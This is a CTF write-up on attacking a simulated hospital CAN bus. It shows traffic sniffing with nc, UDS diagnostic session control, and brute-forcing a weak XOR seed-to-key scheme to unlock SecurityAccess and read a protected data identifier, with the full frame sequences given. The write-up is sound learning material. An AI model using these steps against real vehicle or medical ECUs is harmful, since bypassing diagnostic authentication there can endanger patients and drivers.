Photo by Alexandre Debiève / Unsplash

Writeup: CAN Bus Implant - EspilonCTF (Hardware)

Feri Harjulianto

Challenge Description

The CAN bus of the Clinique Sainte-Mika connects medical equipment. You have access to a sniffing interface and an injection point.

  • Sniff (read-only): tcp://espilon.net:38795
  • Inject (write): tcp://espilon.net:38796

Goal: Analyze the traffic, identify diagnostic patterns, and extract sensitive data.


Step 1: Sniffing CAN Traffic

Connected to the sniffing port to observe CAN bus traffic:

nc espilon.net 38795

Identified the following CAN arbitration IDs:

IDDLCDescription
0x1004Counter/timestamp (incrementing by 5)
0x200–0x2034Medical sensor data (vital signs)
0x7DF8OBD-II broadcast request (every ~5s)
0x7E08UDS diagnostic request (every ~10s)
0x7E88UDS diagnostic response

The periodic UDS traffic was reading the VIN via ReadDataByIdentifier (service 0x22, DID 0xF190):

[0x7E0] 03 22 F1 90 00 00 00 00   -> Request VIN
[0x7E8] 07 62 F1 90 57 4D 32 30   -> Response: "WM20..." (truncated single frame)

Step 2: Exploring the Inject Interface

Connected to the injection port and discovered the usage:

> help
[CAN] Inject Commands:
  send <id> <bytes>   Send a CAN frame

Example UDS commands:
  send 7E0 02 10 03 00 00 00 00 00   DiagSessionControl(extended)
  send 7E0 02 27 01 00 00 00 00 00   SecurityAccess requestSeed
  send 7E0 06 27 02 KK KK KK KK 00   SecurityAccess sendKey
  send 7E0 03 22 FF 01 00 00 00 00   ReadDataByIdentifier(0xFF01)

The help message hinted that DID 0xFF01 was the target.


Step 3: Reading the Full VIN (ISO-TP Multi-Frame)

Injected a manual VIN read request and received a multi-frame ISO-TP response:

TX: [0x7E0] 03 22 F1 90 00 00 00 00
RX: [0x7E8] 10 17 15 62 F1 90 57 4D   (First Frame)
RX: [0x7E8] 21 32 30 32 34 53 41 49   (Consecutive Frame 1)
RX: [0x7E8] 22 4E 54 4D 49 4B 41 30   (Consecutive Frame 2)
RX: [0x7E8] 23 30 34 32 00 00 00 00   (Consecutive Frame 3)

VIN: WM2024SAINTMIKA0042


Step 4: Attempting to Read DID 0xFF01

> send 7E0 03 22 FF 01 00 00 00 00
RX: [0x7E8] 03 7F 22 33 00 00 00 00

NRC 0x33 = securityAccessDenied — this DID requires an authenticated UDS session.


Step 5: Entering Extended Diagnostic Session

> send 7E0 02 10 03 00 00 00 00 00
RX: [0x7E8] 02 50 03 00 00 00 00 00   -> Positive response

DID 0xFF01 still returned NRC 0x33 — SecurityAccess (service 0x27) was required.


Step 6: SecurityAccess — Requesting the Seed

> send 7E0 02 27 01 00 00 00 00 00
RX: [0x7E8] 06 67 01 CC 49 88 94 00   -> Seed: CC 49 88 94

The ECU returned a 4-byte random seed. The challenge was to derive the correct key.


Step 7: Cracking the Seed-to-Key Algorithm

Tried numerous key derivation algorithms:

  • XOR with known constants (VIN fragments, common automotive values)
  • Bitwise NOT, rotations, byte swaps
  • Hash-based (MD5, SHA256, HMAC)
  • Polynomial arithmetic, CRC32, LFSR

After systematic brute-forcing all 256 possible single-byte XOR constants:

Algorithm: key[i] = seed[i] XOR 0x42

Seed:  CC 49 88 94
Key:   8E 0B CA D6   (each byte XOR 0x42)
> send 7E0 06 27 02 8E 0B CA D6 00
RX: [0x7E8] 02 67 02 00 00 00 00 00   -> Positive response! Unlocked.

Step 8: Reading the Flag

With security unlocked, read DID 0xFF01:

> send 7E0 03 22 FF 01 00 00 00 00
RX: [0x7E8] 10 23 21 62 FF 01 45 53   (First Frame)
RX: [0x7E8] 21 50 49 4C 4F 4E 7B 63   "PILON{c"
RX: [0x7E8] 22 34 6E 5F 62 75 73 5F   "4n_bus_"
RX: [0x7E8] 23 31 6D 70 6C 34 6E 74   "1mpl4nt"
RX: [0x7E8] 24 5F 34 63 74 31 76 33   "_4ct1v3"
RX: [0x7E8] 25 7D 00 00 00 00 00 00   "}"

Flag

ESPILON{c4n_bus_1mpl4nt_4ct1v3}

Key Concepts

  • CAN Bus: Controller Area Network protocol used in automotive and medical equipment
  • UDS (ISO 14229): Unified Diagnostic Services — standard protocol for ECU diagnostics
  • ISO-TP (ISO 15765-2): Transport protocol for multi-frame CAN messages
  • SecurityAccess (Service 0x27): Challenge-response authentication requiring seed-to-key computation
  • ReadDataByIdentifier (Service 0x22): Read data from ECU by DID number
  • DiagnosticSessionControl (Service 0x10): Switch between default, programming, and extended sessions
CTFHardwareWriteup